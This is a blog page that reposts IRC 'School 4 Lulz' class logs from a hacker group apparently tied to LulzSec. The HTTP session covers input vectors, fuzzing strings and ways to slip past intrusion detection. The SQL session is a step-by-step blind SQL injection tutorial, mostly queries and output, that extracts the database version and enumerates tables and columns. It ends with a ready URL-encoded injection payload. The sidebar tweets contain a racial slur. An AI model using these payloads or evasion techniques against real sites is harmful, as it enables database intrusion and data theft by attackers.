

[Home](#)**lolhackers.com** School 4 Lulz**HTTP (by hatter)**

Posted by xoxo on June 25, 2011

None comments

Jun 25 14:38:53 \* hatter sets mode +m #school4lulz

Jun 25 14:39:28 <hatter> So, the HTTP (HyperText Transfer Protocol)

Jun 25 14:39:36 <hatter> allows multiple methods

Jun 25 14:39:46 <hatter> you have "GET" which is what you're usually doing when browsing

Jun 25 14:39:55 <hatter> "POST" any time you type something into a web server and hit submit

Jun 25 14:40:01 <hatter> "TRACE" is used for debugging

Jun 25 14:40:11 <hatter> "HEAD" will tell you the content size and type along with a few other things

Jun 25 14:40:23 <hatter> HTTP 1.1 now has request headers and server headers.\

Jun 25 14:40:48 <hatter> When testing HTTP vulnerabilities,

Jun 25 14:41:04 <hatter> it is important to recognize your input vectors:

Jun 25 14:41:08 <hatter> GET parameters

Jun 25 14:41:10 <hatter> POST parameters

Jun 25 14:41:20 <hatter> COOKIES (in the headers, usually)

Jun 25 14:42:00 <hatter> So to recognize input vectors,

Jun 25 14:42:11 <hatter> you're all familiar with urls that have a variable=value pair in them.

Jun 25 14:42:16 <hatter> those variables are your inputs

Jun 25 14:42:22 <hatter> sometimes they are integers, sometimes they are strings.

Jun 25 14:42:32 <hatter> sometimes integers are mis-handled as strings.

Jun 25 14:42:42 <hatter> There are various tools you can use in firefox or IE to view your cookie data

Jun 25 14:42:53 <hatter> I typically use the Web Developer plug-in or Tamper Data on firefox.

Jun 25 14:43:23 <hatter> or netscape

Jun 25 14:43:31 <hatter> chrome has the webkit inspector

Jun 25 14:44:05 <hatter> now, in an HTTP POST, the format is very similar.

Jun 25 14:44:16 <hatter> You can even perform an HTTP POST to a url that has GET parameters in it.

Jun 25 14:44:49 <hatter> >.>

Jun 25 14:44:52 <hatter> netsplit.

Jun 25 14:45:06 <hatter> Anyway,

Jun 25 14:45:19 <hatter> GET parameters are input vectors that may be vulnerabilities

Jun 25 14:45:35 <hatter> As are POST input parameters

Jun 25 14:45:40 <hatter> as well as cookies

Jun 25 14:56:08 <hatter> Now, all of them have data types

Jun 25 14:56:16 <hatter> And there's different places you could be injecting into

Jun 25 14:56:19 <hatter> we'll get tot hat

Jun 25 14:56:46 <hatter> injection vulnerabilities occur every time input from one language interface is repeated as output into another language which is then processed elsewhere

Jun 25 14:57:14 <hatter> So, for a POST parameter

Jun 25 14:57:17 <hatter> <form method='post' action='file.ext'>

Jun 25 14:57:17 <hatter> <input type='hidden' name=' ' value=' '>

Jun 25 14:57:17 <hatter> Name: <input type='text' name='name'> <br />

Jun 25 14:57:17 <hatter> Email Address: <input type='text' name='email'> <br />

Jun 25 14:57:17 <hatter> <input type='submit' value='submit'>

Jun 25 14:57:17 <hatter> </form>

Jun 25 14:57:36 <hatter> sometimes there are hidden inputs like you see above, that one doesn't have anything in it, but it might be something like

Jun 25 14:57:47 <hatter> <input type='hidden' name='token' value='a8235987af97a2930f7at73a2'>

Jun 25 14:58:01 <hatter> You may need to retain that token when submitting to the form.

Jun 25 14:58:51 <hatter> There is a content-type in the request header of HTTP as well

Jun 25 14:59:04 <hatter> HTTPS is merely HTTP wrapped in a SSL socket

Jun 25 14:59:13 >hatter< don't worry it's all logged

Jun 25 14:59:56 <hatter> A lot of different servers except different encoding types

Jun 25 15:00:05 <hatter> non-utf8, urlencoding, multiple encoding layers, etc

Jun 25 15:00:23 <hatter> if you use content-type chunked

Jun 25 15:00:32 <hatter> you can actually split an HTTP request over different connections

Jun 25 15:00:39 <hatter> and have the response sent back over different connections

Jun 25 15:00:54 <hatter> This evades many intrusion detection systems

Jun 25 15:00:57 <hatter> as does using https

Jun 25 15:01:24 <hatter> base64 encoding can sometimes also evade intrusion detection systems, but you have to find something on the other end to automatically decode it before its evaluated

Jun 25 15:01:36 <hatter> so that will only apply to input vectors which values are already in base64 format

Jun 25 15:01:50 <hatter> There is also a PUT method

Jun 25 15:01:52 <hatter> to upload files

Jun 25 15:02:06 <hatter> If you can upload an executable

Jun 25 15:02:09 <hatter> you're good to go.

Search: type, hit enter



Search: type, hit enter

SEARCH

**Twitter Activity**

SavitriVonH4x said: Will I write today? Will try to. #school4lulz

h4ckfox said: @K4rNaj also hatter is co founder of this shit. Don't forget your teachers son.

h4ckfox said: @K4rNaj we are good friends with the former @LulzSec and share common goals. That article is fine except we did this of our own volition

SavitriVonH4x said: @h4ckfox we need to get hatter on twitter, badly. Oh, and I need to pick a font for the courses. 'sup?

SavitriVonH4x said: @benben392, your handle reminds me of JB Condat, infamous french carder and fucking gvt' snitch of the 80's. Welcome on watch list.

h4ckfox said: In rural south Carolina tourist trap hell exotic means shaped like a dick.

h4ckfox said: @haha278 someone needs to read the feed. Told you niggers for two days we are moving

SavitriVonH4x said: Today, let's cryptoloop all that Ubuntu and put bombs all around. Yeah, not a Debian, not an Arch, not a Gentoo. I felt lazy... as often.

SavitriVonH4x said: @In4TehLulz133t because 40 have been went thru and after comes 108, **or** myriads. Symbolic numbers, heh. Anyway, the spirit carries on :-)

h4ckfox said: Advanced Acceptance letters have been sent out. We're all chilling in #school4lulz right now, drop by and say hello.

**Visitors Online**

0 visitor(s) online

powered by WassUp

**Archives**

Copyright © 2011 lolhackers.com | Theme: Zenith | Powered by WordPress

Jun 25 15:02:31 <phed> is it the easiest way to detect if a server accepts put or is there a quicker way?

Jun 25 15:02:43 <hatter> you could use telnet

Jun 25 15:02:45 <hatter> and try it

Jun 25 15:02:45 <hatter> lol

Jun 25 15:02:46 <phed> simply nc?

Jun 25 15:02:51 <hatter> ^

Jun 25 15:02:52 <hatter> lol

Jun 25 15:02:56 <phed> cool

Jun 25 15:04:01 <hatter> so at any rate

Jun 25 15:04:06 <hatter> your injection strings will usually wind up in :

Jun 25 15:04:29 <hatter> html, html tag properties & values, sql, ldap, or javascript.

Jun 25 15:05:11 <hatter> sometimes they can wind up in bash, or file opens, or include() or eval() statements

Jun 25 15:06:00 <hatter> now, for fuzzing, quotes are great, but not the only way

Jun 25 15:06:11 <hatter> a string of characters primed to break anything

Jun 25 15:06:13 <hatter> is usually the best.

Jun 25 15:06:29 <hatter> '"+=&{;}#

Jun 25 15:06:32 <hatter> ()

Jun 25 15:06:34 <hatter> what have you

Jun 25 15:07:39 <Fox> Sup kids

Jun 25 15:07:42 <hatter> <> ?> <?

Jun 25 15:07:44 <hatter> etc

Jun 25 15:07:49 <hatter> %> <% <%

Jun 25 15:07:56 <hatter> Different tags for different languages

Jun 25 15:08:05 <hatter> see if the data is displayed in the response, or if the data in the response changes

Jun 25 15:08:40 <hatter> as you find errors, try to identify what the input is being injected into

Jun 25 15:08:58 <hatter> then that's the type of code you'll need to write a successful exploit

Jun 25 15:09:06 <hatter> questions guys?

Jun 25 15:09:09 \* hatter sets mode -m #school4lulz

Δ Top

## SQL (by hatter)

Posted by xoxo on June 25, 2011

None comments

\*\*\*\* BEGIN LOGGING AT Sat Jun 25 13:07:46 2011

Jun 25 13:07:46 <hatter> class is now in session.

Jun 25 13:07:49 <Mutiny> LulzSheep I have 47,655 tracks on my computer ^^

Jun 25 13:08:03 <Mutiny> Which is about 20k more than I thought XD

Jun 25 13:08:22 >Mutiny< <hatter> class is now in session.

Jun 25 13:08:22 \* [Mutiny] is away (Sleeping. Gtfo.)

Jun 25 13:08:24 <Fox> As per usual

Jun 25 13:08:27 <Fox> If you need voice

Jun 25 13:08:27 <hatter> For those of you who don't already know, testing a site via a url is where you append injection strings

Jun 25 13:08:31 <Fox> ask an op other than the speaker

Jun 25 13:08:34 <Fox> if you have voice and say something stupid, or troll

Jun 25 13:08:35 <Fox> get fucked up.

Jun 25 13:08:39 <hatter> ^

Jun 25 13:08:43 <Fox> hatter, at your leisure.

Jun 25 13:08:49 <hatter> Thank you sir

Jun 25 13:09:06 <hatter> So, the /typical/ injection strings

Jun 25 13:09:07 <hatter> are

Jun 25 13:09:17 <hatter> ` and 1=1' and `and 1=0'

Jun 25 13:09:28 <hatter> Followed by some sort of comment notation ( -- ; /\*)

Jun 25 13:10:03 <hatter> in a get parameter (e.g. domain.tld/vulnerable.ext?something=29847 and 1=1/\*

Jun 25 13:10:06 <hatter> )

Jun 25 13:10:30 <hatter> Every once in a while, you may need to close parenthesis and put an extra ) before the comment or two

Jun 25 13:10:52 <hatter> an IDS will usually notice/a waf will block 1=1 and 1=0

Jun 25 13:10:54 <hatter> so some random number = itself

Jun 25 13:11:01 <hatter> and somerandomnumber = someotherrandomnumber

Jun 25 13:11:05 <hatter> is a better solution.

Jun 25 13:11:37 <hatter> When you're testing, you'll notice (if the site is vulnerable) that the and 1=1 output will be the same as the output without an injection string.

Jun 25 13:12:14 <hatter> sometimes you'll want to actually put a quote (%27 urlencoded) before the space

Jun 25 13:12:22 <hatter> the space is also not always a space when testing or injecting

Jun 25 13:12:46 <hatter> It could be `` or it could be `+'

Jun 25 13:13:19 <hatter> When you give it the 1=0 injection

Jun 25 13:13:24 <hatter> you'll notice a lot of data is missing on the page

Jun 25 13:13:38 <hatter> that 1=1 is the same as a "true" statement

Jun 25 13:13:48 <hatter> the 1=0 is the same as a "false" statement.

Jun 25 13:14:04 <hatter> You can identify true because it is always the same. In other cases, you may need to identify by false.

```

Jun 25 13:14:10 <hatter> If true is not constant.
Jun 25 13:14:21 <hatter> (e.g. random image sliders and ads in the page)
Jun 25 13:15:02 <hatter> for false statements, the page is usually almost empty
Jun 25 13:15:22 <hatter> so we'll start with version printing
Jun 25 13:15:46 <hatter> in this case, we'll use a universal statement (this works on mysql and
postgresql and in many cases mssql)
Jun 25 13:15:56 <hatter> My example will be a mysql server
Jun 25 13:16:46 <hatter> Now when you're injecting into a parameter
Jun 25 13:16:53 <hatter> You /usually/ get where clause injection
Jun 25 13:17:10 <hatter> When testing true/false statements
Jun 25 13:17:18 <hatter> The smallest value you can check against is one byte of hex.
Jun 25 13:17:48 <hatter> mysql> select version();
Jun 25 13:17:48 <hatter> +-----+
Jun 25 13:17:48 <hatter> | version() |
Jun 25 13:17:48 <hatter> +-----+
Jun 25 13:17:48 <hatter> | 5.1.52-log |
Jun 25 13:17:48 <hatter> +-----+
Jun 25 13:17:54 <hatter> That's a string.
Jun 25 13:18:05 <hatter> We have to start with the first letter in that string (represented by one
byte).
Jun 25 13:18:28 <hatter> so we'll select the ascii code (this way we can compare it to a numeric
value)
Jun 25 13:19:01 <hatter> the substr() function is used to select a single character in the string.
Jun 25 13:19:36 <hatter> mysql> select substr((select version()),1,1)\g
Jun 25 13:19:36 <hatter> +-----+
Jun 25 13:19:36 <hatter> | substr((select version()),1,1) |
Jun 25 13:19:36 <hatter> +-----+
Jun 25 13:19:36 <hatter> | 5 |
Jun 25 13:19:36 <hatter> +-----+
Jun 25 13:19:36 <hatter> 1 row in set (0.01 sec)
Jun 25 13:19:57 <hatter> we use the ascii() function to get the ascii code.
Jun 25 13:20:18 <hatter> mysql> select ascii(substr((select version()),1,1))\g
Jun 25 13:20:18 <hatter> +-----+
Jun 25 13:20:18 <hatter> | ascii(substr((select version()),1,1)) |
Jun 25 13:20:18 <hatter> +-----+
Jun 25 13:20:18 <hatter> | 53 |
Jun 25 13:20:18 <hatter> +-----+
Jun 25 13:21:01 <hatter> Now, say the page was a simple demo site
Jun 25 13:21:10 <hatter> and the parameter was title
Jun 25 13:21:22 <hatter> mysql> select "demo title";
Jun 25 13:21:22 <hatter> +-----+
Jun 25 13:21:22 <hatter> | demo title |
Jun 25 13:21:22 <hatter> +-----+
Jun 25 13:21:22 <hatter> | demo title |
Jun 25 13:21:22 <hatter> +-----+
Jun 25 13:21:57 <hatter> sec.
Jun 25 13:23:24 <hatter> mysql> select title from title where id=1
Jun 25 13:23:24 <hatter> -> ;
Jun 25 13:23:24 <hatter> +-----+
Jun 25 13:23:24 <hatter> | title |
Jun 25 13:23:24 <hatter> +-----+
Jun 25 13:23:24 <hatter> | demo title |
Jun 25 13:23:24 <hatter> +-----+
Jun 25 13:23:24 <hatter> 1 row in set (0.00 sec)
Jun 25 13:23:38 <hatter> mysql> select title from title where id=1 and 1=1;
Jun 25 13:23:38 <hatter> +-----+
Jun 25 13:23:38 <hatter> | title |
Jun 25 13:23:38 <hatter> +-----+
Jun 25 13:23:38 <hatter> | demo title |
Jun 25 13:23:38 <hatter> +-----+
Jun 25 13:23:38 <hatter> 1 row in set (0.00 sec)
Jun 25 13:23:42 <hatter> mysql> select title from title where id=1 and 1=0;
Jun 25 13:23:42 <hatter> Empty set (0.00 sec)
Jun 25 13:24:12 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) > 127);
Jun 25 13:24:12 <hatter> Empty set (0.00 sec)
Jun 25 13:24:24 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) < 127);
Jun 25 13:24:24 <hatter> +-----+
Jun 25 13:24:24 <hatter> | title |
Jun 25 13:24:24 <hatter> +-----+
Jun 25 13:24:24 <hatter> | demo title |
Jun 25 13:24:24 <hatter> +-----+
Jun 25 13:24:24 <hatter> 1 row in set (0.00 sec)
Jun 25 13:24:54 <hatter> So that's what the whole query /could/ look like
Jun 25 13:25:10 <hatter> The reason you start at 127, is because this is 1/2 the maximum value of
one byte
Jun 25 13:25:17 <hatter> the maximum value of one byte is 255
Jun 25 13:25:42 <hatter> You can always google for an ascii chart (when doing this by hand) if you'd

```

like to turn the data back into letters later 🤔

```

Jun 25 13:26:00 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) < 64);
Jun 25 13:26:00 <hatter> +-----+
Jun 25 13:26:00 <hatter> | title |
Jun 25 13:26:00 <hatter> +-----+
Jun 25 13:26:00 <hatter> | demo title |
Jun 25 13:26:00 <hatter> +-----+
Jun 25 13:26:00 <hatter> 1 row in set (0.00 sec)
Jun 25 13:26:11 <hatter> so now we know the ascii code is less than 64
Jun 25 13:26:27 * Savitri gives voice to d0ct0r
Jun 25 13:26:29 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) < 32);
Jun 25 13:26:29 <hatter> Empty set (0.00 sec)
Jun 25 13:26:36 <hatter> Its not less than 32
Jun 25 13:27:38 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) > 48);
Jun 25 13:27:38 <hatter> +-----+
Jun 25 13:27:38 <hatter> | title |
Jun 25 13:27:38 <hatter> +-----+
Jun 25 13:27:38 <hatter> | demo title |
Jun 25 13:27:38 <hatter> +-----+
Jun 25 13:27:38 <hatter> 1 row in set (0.00 sec)
Jun 25 13:27:49 <hatter> Its greater than 48.
Jun 25 13:28:03 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) > 56);
Jun 25 13:28:03 <hatter> Empty set (0.00 sec)
Jun 25 13:28:07 <hatter> less than 56.
Jun 25 13:28:14 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) > 52);
Jun 25 13:28:14 <hatter> +-----+
Jun 25 13:28:14 <hatter> | title |
Jun 25 13:28:14 <hatter> +-----+
Jun 25 13:28:14 <hatter> | demo title |
Jun 25 13:28:14 <hatter> +-----+
Jun 25 13:28:14 <hatter> 1 row in set (0.00 sec)
Jun 25 13:28:19 <hatter> Greater than 52
Jun 25 13:28:38 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) < 54);
Jun 25 13:28:38 <hatter> +-----+
Jun 25 13:28:38 <hatter> | title |
Jun 25 13:28:38 <hatter> +-----+
Jun 25 13:28:38 <hatter> | demo title |
Jun 25 13:28:38 <hatter> +-----+
Jun 25 13:28:38 <hatter> 1 row in set (0.00 sec)
Jun 25 13:28:46 <hatter> its greater than 54 and less than 56.
Jun 25 13:29:03 <hatter> er wait
Jun 25 13:29:07 <hatter> I misqueried one
Jun 25 13:29:08 <hatter> doh
Jun 25 13:29:35 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) < 62);
Jun 25 13:29:35 <hatter> +-----+
Jun 25 13:29:35 <hatter> | title |
Jun 25 13:29:35 <hatter> +-----+
Jun 25 13:29:35 <hatter> | demo title |
Jun 25 13:29:35 <hatter> +-----+
Jun 25 13:29:35 <hatter> 1 row in set (0.00 sec)
Jun 25 13:29:55 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) > 58);
Jun 25 13:29:55 <hatter> Empty set (0.00 sec)
Jun 25 13:31:02 <hatter> mysql> select title from title where (select ascii(substr((select
version()),1,1)) = 53);
Jun 25 13:31:02 <hatter> +-----+
Jun 25 13:31:02 <hatter> | title |
Jun 25 13:31:02 <hatter> +-----+
Jun 25 13:31:02 <hatter> | demo title |
Jun 25 13:31:02 <hatter> +-----+
Jun 25 13:31:02 <hatter> 1 row in set (0.00 sec)
Jun 25 13:31:11 <hatter> we got an equals.
Jun 25 13:31:25 <hatter> so now we know the ascii code of the first char is 53
Jun 25 13:31:41 <hatter> we can manipulate the > and < operators
Jun 25 13:31:43 <hatter> to find the value
Jun 25 13:32:11 <hatter> mysql> select version();
Jun 25 13:32:11 <hatter> +-----+
Jun 25 13:32:11 <hatter> | version() |
Jun 25 13:32:11 <hatter> +-----+
Jun 25 13:32:11 <hatter> | 5.1.52-log |
Jun 25 13:32:11 <hatter> +-----+
Jun 25 13:32:19 <hatter> mysql> select substr((select version()),2,1)g

```

```

Jun 25 13:32:19 <hatter> +-----+
Jun 25 13:32:19 <hatter> | substr((select version()),2,1) |
Jun 25 13:32:19 <hatter> +-----+
Jun 25 13:32:19 <hatter> | . |
Jun 25 13:32:19 <hatter> +-----+
Jun 25 13:32:19 <hatter> 1 row in set (0.00 sec)
Jun 25 13:32:28 <hatter> So you increment that second parameter
Jun 25 13:32:32 <hatter> and get to the second character.
Jun 25 13:33:19 <hatter> This is how you can iterate through the string to find the value of the
whole version
Jun 25 13:33:20 <hatter> so
Jun 25 13:33:21 <hatter> sometimes
Jun 25 13:33:23 <hatter> you hit the end
Jun 25 13:33:27 <hatter> How can you tell you've hit the end?
Jun 25 13:33:43 <hatter> mysql> select length((select version()));
Jun 25 13:33:43 <hatter> +-----+
Jun 25 13:33:43 <hatter> | length((select version())) |
Jun 25 13:33:43 <hatter> +-----+
Jun 25 13:33:43 <hatter> | 10 |
Jun 25 13:33:43 <hatter> +-----+
Jun 25 13:33:43 <hatter> 1 row in set (0.00 sec)
Jun 25 13:33:57 <hatter> so now we know that 10 is the highest value
Jun 25 13:34:09 <hatter> of the second parameter to substr()
Jun 25 13:34:21 <hatter> Ok, so you have a version fingerprint. What's next?
Jun 25 13:34:47 <hatter> Obviously, you're in a completely foreign database.
Jun 25 13:35:28 <Fox> Pardon me guys
Jun 25 13:35:50 <Fox> Do we have anyone here that knows someone from malaysia?
Jun 25 13:36:07 <d0ct0r> wabbit
Jun 25 13:36:11 <d0ct0r> and morrissey
Jun 25 13:36:22 <d0ct0r> why?
Jun 25 13:36:35 <Fox> Doctor PM me. We're in need of someone to help with some documents.
Jun 25 13:36:45 <Fox> hatter Please continue and forgive the interruption
Jun 25 13:36:52 <hatter> all good
Jun 25 13:36:57 <hatter> so
Jun 25 13:37:02 <hatter> mysql> show tables;
Jun 25 13:37:02 <hatter> +-----+
Jun 25 13:37:02 <hatter> | Tables_in_foob |
Jun 25 13:37:02 <hatter> +-----+
Jun 25 13:37:02 <hatter> | articles |
Jun 25 13:37:02 <hatter> | title |
Jun 25 13:37:02 <hatter> +-----+
Jun 25 13:37:02 <hatter> 2 rows in set (0.00 sec)
Jun 25 13:37:08 <hatter> Obviously I can run that in mysql
Jun 25 13:37:15 <hatter> but not through a url.
Jun 25 13:37:23 <hatter> mysql> select table_name from information_schema.tables where
table_schema=database();
Jun 25 13:37:23 <hatter> +-----+
Jun 25 13:37:23 <hatter> | table_name |
Jun 25 13:37:23 <hatter> +-----+
Jun 25 13:37:23 <hatter> | articles |
Jun 25 13:37:23 <hatter> | title |
Jun 25 13:37:23 <hatter> +-----+
Jun 25 13:37:36 <hatter> ok
Jun 25 13:37:48 <hatter> that's a valid query that can be used by an interpreter's connector.
Jun 25 13:38:02 <hatter> the problem is, we have two rows, so:
Jun 25 13:38:14 <hatter> mysql> select count(table_name) from information_schema.tables where
table_schema=database();
Jun 25 13:38:14 <hatter> +-----+
Jun 25 13:38:14 <hatter> | count(table_name) |
Jun 25 13:38:14 <hatter> +-----+
Jun 25 13:38:14 <hatter> | 2 |
Jun 25 13:38:14 <hatter> +-----+
Jun 25 13:38:28 <hatter> We'd want to enumerate that :
Jun 25 13:39:31 <hatter> mysql> select title from title where (select count(table_name) from
information_schema.tables where table_schema=database() > 5);
Jun 25 13:39:31 <hatter> Empty set (0.00 sec)
Jun 25 13:39:40 * ChanServ gives channel operator status to Topiary
Jun 25 13:39:40 <hatter> mysql> select title from title where (select count(table_name) from
information_schema.tables where table_schema=database() < 5);
Jun 25 13:39:40 <hatter> +-----+
Jun 25 13:39:40 <hatter> | title |
Jun 25 13:39:40 <hatter> +-----+
Jun 25 13:39:40 <hatter> | demo title |
Jun 25 13:39:40 <hatter> +-----+
Jun 25 13:39:40 <hatter> 1 row in set (0.00 sec)
Jun 25 13:39:49 <hatter> mysql> select title from title where (select count(table_name) from
information_schema.tables where table_schema=database() < 3);
Jun 25 13:39:49 <hatter> +-----+
Jun 25 13:39:49 <hatter> | title |

```

```

Jun 25 13:39:49 <hatter> +-----+
Jun 25 13:39:49 <hatter> | demo title |
Jun 25 13:39:49 <hatter> +-----+
Jun 25 13:39:49 <hatter> 1 row in set (0.00 sec)
Jun 25 13:40:43 <hatter> mysql> select title from title where (select count(table_name) from
information_schema.tables where table_schema=database()) < 5;
Jun 25 13:40:49 <hatter> (those were bad parens before)
Jun 25 13:40:59 <hatter> +-----+
Jun 25 13:40:59 <hatter> | title      |
Jun 25 13:40:59 <hatter> +-----+
Jun 25 13:40:59 <hatter> | demo title |
Jun 25 13:40:59 <hatter> +-----+
Jun 25 13:41:12 <hatter> mysql> select title from title where (select count(table_name) from
information_schema.tables where table_schema=database()) < 3;
Jun 25 13:41:12 <hatter> +-----+
Jun 25 13:41:12 <hatter> | title      |
Jun 25 13:41:12 <hatter> +-----+
Jun 25 13:41:12 <hatter> | demo title |
Jun 25 13:41:12 <hatter> +-----+
Jun 25 13:41:12 <hatter> 1 row in set (0.00 sec)
Jun 25 13:41:12 <hatter> mysql> select title from title where (select count(table_name) from
information_schema.tables where table_schema=database()) = 2;
Jun 25 13:41:12 <hatter> +-----+
Jun 25 13:41:12 <hatter> | title      |
Jun 25 13:41:12 <hatter> +-----+
Jun 25 13:41:13 <hatter> | demo title |
Jun 25 13:41:14 <hatter> +-----+
Jun 25 13:41:15 <hatter> We have an equals now
Jun 25 13:41:34 <hatter> mysql> select table_name from information_schema.tables where
table_schema=database() LIMIT 1,1;
Jun 25 13:41:34 <hatter> +-----+
Jun 25 13:41:34 <hatter> | table_name |
Jun 25 13:41:34 <hatter> +-----+
Jun 25 13:41:34 <hatter> | title      |
Jun 25 13:41:34 <hatter> +-----+
Jun 25 13:41:34 <hatter> 1 row in set (0.00 sec)
Jun 25 13:41:38 <hatter> that's the first one
Jun 25 13:41:52 <hatter> mysql> select table_name from information_schema.tables where
table_schema=database() LIMIT 0,1;
Jun 25 13:41:52 <hatter> +-----+
Jun 25 13:41:52 <hatter> | table_name |
Jun 25 13:41:52 <hatter> +-----+
Jun 25 13:41:52 <hatter> | articles   |
Jun 25 13:41:52 <hatter> +-----+
Jun 25 13:41:54 <hatter> rather that is
Jun 25 13:42:10 <hatter> the second parameter of limit is always 1
Jun 25 13:42:19 <hatter> now you can treat that table name the same way we treated the version:
Jun 25 13:42:40 <hatter> mysql> select ascii(substr((select table_name from
information_schema.tables where table_schema=database() LIMIT 0,1),1,1));
Jun 25 13:42:40 <hatter>
+-----+
Jun 25 13:42:40 <hatter> | ascii(substr((select table_name from information_schema.tables where
table_schema=database() LIMIT 0,1),1,1)) |
Jun 25 13:42:40 <hatter>
+-----+
Jun 25 13:42:40 <hatter> |
97 |
Jun 25 13:42:40 <hatter>
+-----+
Jun 25 13:42:40 <hatter> 1 row in set (0.00 sec)
Jun 25 13:42:51 <hatter> mysql> select (substr((select table_name from information_schema.tables
where table_schema=database() LIMIT 0,1),1,1));
Jun 25 13:42:51 <hatter> +-----+
Jun 25 13:42:51 <hatter> | (substr((select table_name from information_schema.tables where
table_schema=database() LIMIT 0,1),1,1)) |
Jun 25 13:42:51 <hatter> +-----+
Jun 25 13:42:51 <hatter> | a                                     |
Jun 25 13:42:51 <hatter> +-----+
Jun 25 13:42:51 <hatter> 1 row in set (0.00 sec)
Jun 25 13:43:02 <hatter> mysql> select (substr((select table_name from information_schema.tables
where table_schema=database() LIMIT 0,1),2,1));
Jun 25 13:43:02 <hatter> +-----+
Jun 25 13:43:02 <hatter> | (substr((select table_name from information_schema.tables where
table_schema=database() LIMIT 0,1),2,1)) |
Jun 25 13:43:02 <hatter> +-----+
Jun 25 13:43:02 <hatter> | r                                     |
Jun 25 13:43:02 <hatter> +-----+
Jun 25 13:43:13 <hatter> to go to the next string
Jun 25 13:43:17 <hatter> increment the first parameter

```

```

Jun 25 13:43:25 <hatter> Now, say we've got all the table names
Jun 25 13:43:29 <hatter> but we want column names for the tables
Jun 25 13:43:46 <Savitri> (gotta say i love that class)
Jun 25 13:44:13 <hatter> mysql> select table_name from information_schema.tables where
table_schema=database() LIMIT 0,1;
Jun 25 13:44:13 <hatter> +-----+
Jun 25 13:44:13 <hatter> | table_name |
Jun 25 13:44:13 <hatter> +-----+
Jun 25 13:44:13 <hatter> | articles |
Jun 25 13:44:13 <hatter> +-----+
Jun 25 13:44:33 <hatter> Notice we don't need to know the table name
Jun 25 13:44:36 <hatter> to get the table name.
Jun 25 13:45:08 <hatter> mysql> select column_name from information_schema.columns where
table_name=(select table_name from information_schema.tables where table_schema=database()
LIMIT 0,1) and table_schema=database();
Jun 25 13:45:08 <hatter> +-----+
Jun 25 13:45:08 <hatter> | column_name |
Jun 25 13:45:08 <hatter> +-----+
Jun 25 13:45:08 <hatter> | id |
Jun 25 13:45:08 <hatter> | title_id |
Jun 25 13:45:08 <hatter> | body |
Jun 25 13:45:08 <hatter> +-----+
Jun 25 13:45:08 <hatter> 3 rows in set (0.00 sec)
Jun 25 13:45:16 <hatter> mysql> desc articles\g
Jun 25 13:45:16 <hatter> +-----+-----+-----+-----+-----+-----+
Jun 25 13:45:16 <hatter> | Field | Type | Null | Key | Default | Extra |
Jun 25 13:45:16 <hatter> +-----+-----+-----+-----+-----+-----+
Jun 25 13:45:16 <hatter> | id | int(11) | NO | PRI | NULL | auto_increment |
Jun 25 13:45:16 <hatter> | title_id | varchar(32) | YES | | NULL | |
Jun 25 13:45:16 <hatter> | body | varchar(64) | YES | | NULL | |
Jun 25 13:45:16 <hatter> +-----+-----+-----+-----+-----+-----+
Jun 25 13:45:16 <hatter> 3 rows in set (0.00 sec)
Jun 25 13:45:22 <hatter> Nowe we
Jun 25 13:45:30 <hatter> Now we can iterate through the column names
Jun 25 13:45:32 <hatter> for that table
Jun 25 13:45:38 <hatter> so just an example
Jun 25 13:45:45 <hatter> (Yes we're getting into some pretty big queries)
Jun 25 13:45:49 <hatter> This is the first letter
Jun 25 13:45:53 <hatter> of the first column
Jun 25 13:45:56 <hatter> in the first table
Jun 25 13:46:00 <hatter> in the current database:
Jun 25 13:46:56 <Savitri> won't the IDS frown upon such long queries?
Jun 25 13:47:08 <hatter>
+-----+
Jun 25 13:47:08 <hatter> | substr((select column_name from information_schema.columns where
table_name=(select table_name from information_schema.tables where table_schema=database()
LIMIT 0,1) and table_schema=database() limit 0,1),1,1) |
Jun 25 13:47:08 <hatter>
+-----+
Jun 25 13:47:08 <hatter> |
Jun 25 13:47:08 <hatter> |
Jun 25 13:47:36 <hatter> Savitri: sure, there's options for that
Jun 25 13:47:44 <hatter> always use https when you can (a lot of ids's can't ssl mitm)
Jun 25 13:47:52 <hatter> chunked encoding and session splicing,
Jun 25 13:48:27 <hatter> you can use head requests in stead of get requests
Jun 25 13:48:29 <hatter> there's a lot you can do
Jun 25 13:48:34 <hatter> to stay away from the ids
Jun 25 13:48:44 <hatter> But that's not the topic of this class 😊
Jun 25 13:48:54 * Mofers_ is now known as Mofers
Jun 25 13:49:04 <hatter> mysql> select ascii(substr((select column_name from
information_schema.columns where table_name=(select table_name from information_schema.tables
where table_schema=database() LIMIT 0,1) and table_schema=database() limit 0,1),1,1));
Jun 25 13:49:08 <hatter>
+-----+
Jun 25 13:49:08 <hatter> |
Jun 25 13:49:08 <hatter> |
Jun 25 13:49:08 <hatter> 105 |
Jun 25 13:49:08 <hatter>
+-----+
Jun 25 13:49:30 <hatter> now you'd just append it to the original query:
Jun 25 13:50:04 <hatter> mysql> select title from title where id=1 and ascii(substr((select
column_name from information_schema.columns where table_name=(select table_name from
information_schema.tables where table_schema=database() LIMIT 0,1) and table_schema=database()
limit 0,1),1,1)) > 127;
Jun 25 13:50:10 <hatter> Empty set (0.00 sec)
Jun 25 13:50:17 <hatter> We know its not greater than 127.
Jun 25 13:50:31 <hatter> the important part is everything after that 'and' there.
Jun 25 13:51:23 <hatter> so your url will eventually look like this:

```

```

Jun 25 13:54:01 <hatter> https://domain.tld/vulnerable.ext?id=95843+and+ascii%28substr
%28%28select+column_name+from+information_schema.columns+where+table_name
%3D%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase
%28%29+LIMIT+0%2C1%29+and+table_schema%3Ddatabase%28%29+limit+0%2C1
%29%2C1%2C1%29%29+%3E+127
Jun 25 13:54:47 <hatter> or https://domain.tld/vulnerable.ext?id=95843 and ascii(substr((select
column_name from information_schema.columns where table_name=(select table_name from
information_schema.tables where table_schema=database() LIMIT 0,1) and table_schema=database()
limit 0,1),1,1)) > 127
Jun 25 13:54:57 <hatter> but the above is the url encoded version of it
Jun 25 13:55:08 <hatter> Alright
